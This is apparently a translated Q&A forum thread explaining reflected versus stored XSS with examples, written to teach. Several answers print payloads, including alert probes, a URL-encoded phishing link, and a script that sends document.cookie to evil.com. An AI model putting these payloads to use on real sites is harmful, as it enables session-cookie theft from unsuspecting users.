什么是反射型 XSS?

信息安全 Web应用程序 xss
2021-08-31 04:57:35

厌倦了以下定义。

反射式攻击是指注入的脚本从 Web 服务器反射出来的攻击,例如在错误消息、搜索结果或任何其他响应中,其中包括作为请求的一部分发送到服务器的部分或全部输入。反射攻击通过另一条路径传递给受害者,例如在电子邮件消息中或在其他网站上。当用户被诱骗点击恶意链接、提交特制表单,甚至只是浏览到恶意网站时,注入的代码就会传播到易受攻击的网站,从而将攻击反射回用户的浏览器。然后浏览器执行代码,因为它来自“可信”服务器

有人可以用一个例子来解释我。反射型 XSS 和存储型 XSS 的主要区别是什么?

4个回答

因此,假设您导航到 www.example.com/page?main.html,它会将您置于 example.com 的主页上。现在您导航到位于 www.example.com/page?index.html 的索引。你开始怀疑,还有哪些其他页面?

所以你输入 www.example.com/page?foo 并按回车,你会得到一个错误页面,上面会说“找不到资源 foo”。

这里要注意的是,您在 URL 中添加了一个参数,该参数会以用户的身份反映给您。在这种情况下,它是参数“foo”。

现在反射型 XSS 背后的想法应该更加清晰了;不是输入像“foo”这样的蹩脚参数,而是输入类似的内容<script>alert(1)</script>foo并按回车键。在易受攻击的站点上,整个参数将被注入到弹出的错误页面中,javascript 将执行,并且除了“找不到资源 foo”消息之外,您还会收到一个弹出窗口。如果您可以诱导其他人导航到您制作的同一链接,则可以在他们的会话中执行任意 javascript。

反射型 XSS

我向受害者发送了一个链接,该链接指向http://example.com/page?var=<script>alert('xss')</script>页面上的某个位置,该值会回显给受害者。如果他们遵循我的特殊链接,该值仅在页面上。

这种类型的缺点是我必须专门攻击一个受害者或一组我可以点击链接的受害者。可能很难让其他人关注您的链接。

存储型 XSS

我找到了一种让网站持续<script>alert('xss')</script>一段时间的方法,也许在数据库中。然后我可以将受害者发送给http://example.com/page它,它会从数据库中读取值并将其呈现给受害者。

这种类型的好处是它会攻击所有查看页面的人。

对于这两种类型的 XSS,请考虑如下 javascript 片段:

<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

如果黑客可以将其呈现在另一个站点上,她可以为在该站点上加载此类页面的任何受害者收集所有用户 cookie。反射型 XSS 和存储型 XSS(或持久型 XSS)是让该脚本出现在易受攻击的站点上的两种不同方法。

  • 反射型 XSS - 脚本本身作为请求参数传递给站点的某些易受攻击的部分,并且站点在页面上呈现 javascript。
  • 存储的 XSS - javascript 长期异常地存储在页面本身中。

反射型 XSS 示例

我是一名黑客,我发送了一封带有以下正文的网络钓鱼电子邮件。

看看这个:http ://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument.cookie%3C %2F脚本%3E

其中关键字参数的值解码为上面的 javascript 片段。当受害者点击链接时,weak-site.com 会显示一个嵌入了脚本的页面。浏览器将受害者重定向到黑客的站点,并从weak-site.com 传送受害者的cookie。

存储型 XSS 示例

我是一名黑客,我在weak-site.com 上创建了一篇博客文章,内容如下:

LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

如果网站完好无损地呈现我的帖子,我可以收集查看我帖子的每个用户的 cookie 值。

一个非常简单的解释:

反射型 XSS:当受害者访问站点的 URL 时,攻击载荷包含在参数中。

存储的 XSS:攻击载荷存储在站点本身中,当任何人访问该页面时,无论后面的 URL 是什么,攻击都会执行。